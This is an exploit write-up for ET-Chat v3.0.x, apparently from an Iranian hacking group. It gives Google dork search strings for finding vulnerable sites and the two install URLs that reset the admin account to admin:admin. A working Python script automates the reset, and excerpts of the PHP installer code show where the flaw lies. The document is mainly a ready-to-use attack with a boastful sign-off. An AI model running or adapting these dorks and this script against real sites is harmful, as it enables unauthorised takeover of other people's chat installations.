**************************************************
IIIIIIII  RRRRRRRRRRRR        HHHHHHHH    HHHHHHHH
  IIII      RRRR    RRRR        HHHH        HHHH  
  IIII      RRRR      RRRR      HHHH        HHHH  
  IIII      RRRR      RRRR      HHHH        HHHH  
  IIII      RRRR    RRRR        HHHH        HHHH  
  IIII      RRRRRRRRRR          HHHHHHHHHHHHHHHH  
  IIII      RRRR  RRRR          HHHH        HHHH  
  IIII      RRRR  RRRR          HHHH        HHHH  
  IIII      RRRR    RRRR        HHHH        HHHH  
  IIII      RRRR      RRRR      HHHH        HHHH  
IIIIIIII  RRRRRRRR    RRRRRR  HHHHHHHH    HHHHHHHH
***************************************************

# Exploit Title: Et-chat Admin Reset Password v3.0.7

# Google Dork: inurl:/?InstallIndex  or  intext:Willkommen bei der Installation von ET-Chat v3   or  intext:Installation starten >>>

# Date: 2012-found , 2014-public

# Exploit Author: IRH

# Tested on: 7,8

# version : v3.0.x

# Software Link: http://www.sedesign.de/de_produkte_chat-v3.html

# Screen shot: http://cld.persiangig.com/preview/jBfFoVmTl5/install_reset_password.png


***************************************************

Exploit :

site.com/chat/?InstallIndex

site.com/chat/?InstallMake


info :

if chatroom have a installation folder 

open this link for reset user and password to admin:admin


***************************************************

Python exploit :


#!/usr/bin/env python
__author__ = 'IRH'
print "Example: et-chat.py http://et-chat.com/chat"

import urllib
import sys

url = sys.argv[1]
url1 = url+"/?InstallIndex"
url2 = url+"/?InstallMake"

checkurl = urllib.urlopen(url1)

if checkurl.code == 200 :
    urllib.urlopen(url2)
    print "Password Was Reseted!! Enjoy ;)"
else:
    print "Site is not Vulnerability"



***************************************************


<?php

// Check Server param
if (version_compare(phpversion(), '5.1.2', '<')) echo "<div style=\"color:red\">FEHLER!!!<br><br>PHP Version = ".phpversion()." (sollte jedoch >= 5.1.2 sein!)</div>";
else    
// redirect
header('Location: ../?InstallIndex');

*********

public function __construct (){ 
    
    // call parent Constructor from class EtChatConfig
    parent::__construct(); 
    
    
    $install_error = "";
    
    
    if ($this->_usedDatabaseExtension=="pdo"){
      if (!extension_loaded('pdo')) $install_error .= "<div style=\"color:red\"> Keine PDO-Erweiterung gefunden.(PDO-Erweiterung sollte installiert sein!)</div>";
      if (!extension_loaded('pdo_'.$this->_usedDatabase)) $install_error .= "<div style=\"color:red\"> Keine pdo_".$this->_usedDatabase."-Erweiterung gefunden.(pdo_".$this->_usedDatabase." sollte installiert sein!)</div>";
    }
    
    if ($this->_usedDatabaseExtension=="mysqli")
      if (!extension_loaded('mysqli')) $install_error .= "<div style=\"color:red\"> Keine MySQLi-Erweiterung gefunden.(MySQLi sollte installiert sein!)</div>";
    
    if (empty($install_error)) 
      $start_install = "<a href=\"./?InstallMake\">Installation starten >>></a>";
    else 
      $start_install = "<b>Die Installation kann nicht durchgeführt werden.</b><br /><br /> Ursache/n:<br />".$install_error."<br /><br />Bitte korrigieren Sie die Einstellungen Ihres Webservers um den ET-Chat zu installieren.";
    
    
    if (file_exists("./install"))
      include_once("styles/install_tpl/index.tpl.html");
    else 
      echo "Install directory was not found.";
  }
}


*********



TnX To :

MojiRider , V30sharp , Black.viper , Zer0killer , SecretWalker , FarBodEzrail , Amirio , AL1R3​Z4, 3is@ , 
Mr.a!i , Mr.3ler0n , Irblackhat , inj3ct0r , 3inst3in , Remot3r , Scoot3r , Black_king , IRH Member
  
./IRaNHaCK.org